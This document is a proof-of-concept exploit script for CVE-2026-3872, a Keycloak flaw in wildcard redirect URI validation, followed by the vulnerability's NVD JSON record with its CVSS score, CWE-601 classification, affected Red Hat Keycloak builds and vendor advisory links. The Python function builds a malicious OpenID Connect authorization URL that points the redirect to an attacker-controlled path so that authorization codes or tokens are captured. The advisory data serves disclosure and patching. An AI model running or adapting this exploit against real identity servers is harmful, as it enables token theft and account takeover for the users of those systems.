CVE-2026-3872

# Proof of Concept for CVE-2026-3872 # This PoC demonstrates the logic to bypass wildcard redirect URI validation. import urllib.parse def exploit(base_url, client_id, controlled_path): """ Generates a malicious authorization URL. Assumes the attacker controls 'controlled_path' on the same host. """ # The vulnerable configuration allows something like: https://target.com/valid/* # The attacker uses: https://target.com/controlled_path/ redirect_uri = f"{base_url}/{controlled_path}/" params = { "client_id": client_id, "response_type": "code", "redirect_uri": redirect_uri, "scope": "openid", "state": "xyz" } return f"{base_url}/auth/realms/master/protocol/openid-connect/auth?{urllib.parse.urlencode(params)}" # Example usage # print(exploit("https://vulnerable-keycloak.com", "public-client", "attacker-folder"))

{"cve": {"id": "CVE-2026-3872", "sourceIdentifier": "[email protected]", "published": "2026-04-02T13:16:26.390", "lastModified": "2026-04-16T20:52:42.840", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw was found in Keycloak. This issue allows an attacker, who controls another path on the same web server, to bypass the allowed path in redirect Uniform Resource Identifiers (URIs) that use a wildcard. A successful attack may lead to the theft of an access token, resulting in information disclosure."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.1, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-601"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:redhat:build_of_keycloak:-:*:*:*:text-only:*:*:*", "matchCriteriaId": "1830E455-7E11-4264-862D-05971A42D4A6"}, {"vulnerable": true, "criteria": "cpe:2.3:a:redhat:build_of_keycloak:26.2:*:*:*:text-only:*:*:*", "matchCriteriaId": "C339EBE3-6BFD-4082-B904-4E8DB87AAE68"}, {"vulnerable": true, "criteria": "cpe:2.3:a:redhat:build_of_keycloak:26.2.15:*:*:*:text-only:*:*:*", "matchCriteriaId": "3BDF8A92-727E-401B-80BB-A141DCB39750"}, {"vulnerable": true, "criteria": "cpe:2.3:a:redhat:build_of_keycloak:26.4:*:*:*:text-only:*:*:*", "matchCriteriaId": "100AA077-7467-4F62-A8FD-88BC336972DF"}, {"vulnerable": true, "criteria": "cpe:2.3:a:redhat:build_of_keycloak:26.4.11:*:*:*:text-only:*:*:*", "matchCriteriaId": "17E79930-BE1C-4901-AF63-36B3EB149AFC"}]}]}], "references": [{"url": "https://access.redhat.com/errata/RHSA-2026:6475", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://access.redhat.com/errata/RHSA-2026:6476", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://access.redhat.com/errata/RHSA-2026:6477", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://access.redhat.com/errata/RHSA-2026:6478", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://access.redhat.com/security/cve/CVE-2026-3872", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2445988", "source": "[email protected]", "tags": ["Issue Tracking", "Vendor Advisory"]}]}}